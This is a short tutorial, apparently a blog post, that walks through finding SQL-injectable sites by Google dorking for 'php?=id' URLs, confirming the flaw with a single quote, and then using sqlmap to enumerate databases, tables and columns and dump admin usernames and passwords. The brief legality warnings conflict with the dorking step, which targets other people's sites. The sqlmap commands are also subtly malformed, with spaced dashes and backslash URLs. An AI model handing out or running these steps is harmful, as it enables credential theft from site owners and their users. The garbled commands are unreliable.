How to test if a website is vulnerable to SQL injection.  To be legal, use your own website.

Step 1 – Google for php?=id1

Google for php?=id1

add a Single quote… to the end of the URL.

so it reads php?=id1′

If you get an error the website is vulnerable.   Go to step 2.

If this is your own website – shut it down immediately.  You need to secure it before you bring it back online.

Step 2 – Kali SQLMAP – get website databases

SQLMAP   – u http:\\website.com/page.php?id=1 –dbs

This will fetch all available databases on the website.  Did you see them listed?

Step 3 – Find the LOGIN table

SQLMAP   – u http:\\website.com/page.php?id=1 –D www – tables

Did you see all the TABLES on the website list out?

Look for likely targets… eg Login, username or password table.

If you’re not on your own website, or a best friends website (who’s sat next to you), you are into illegal terrority. STOP now!!

Step 4 – Get all the Login Data (from Step 3)

SQLMAP   – u http:\\website.com/page.php?id=1 –D www -T uk_cms_gb_login –columns

This should display columns with items such as Cookie, ID, IP, Password, Username.

Step 5 – Get Usernames (& Admin)

SQLMAP   – u http:\\website.com/page.php?id=1 –D www -T uk_cms_gb_login -C username –dump

Look for “admin”

Step 6 – Get Passwords (of Admin)

SQLMAP   – u http:\\website.com/page.php?id=1 –D www -T uk_cms_gb_login -C password –dump

That’s it.

Game over!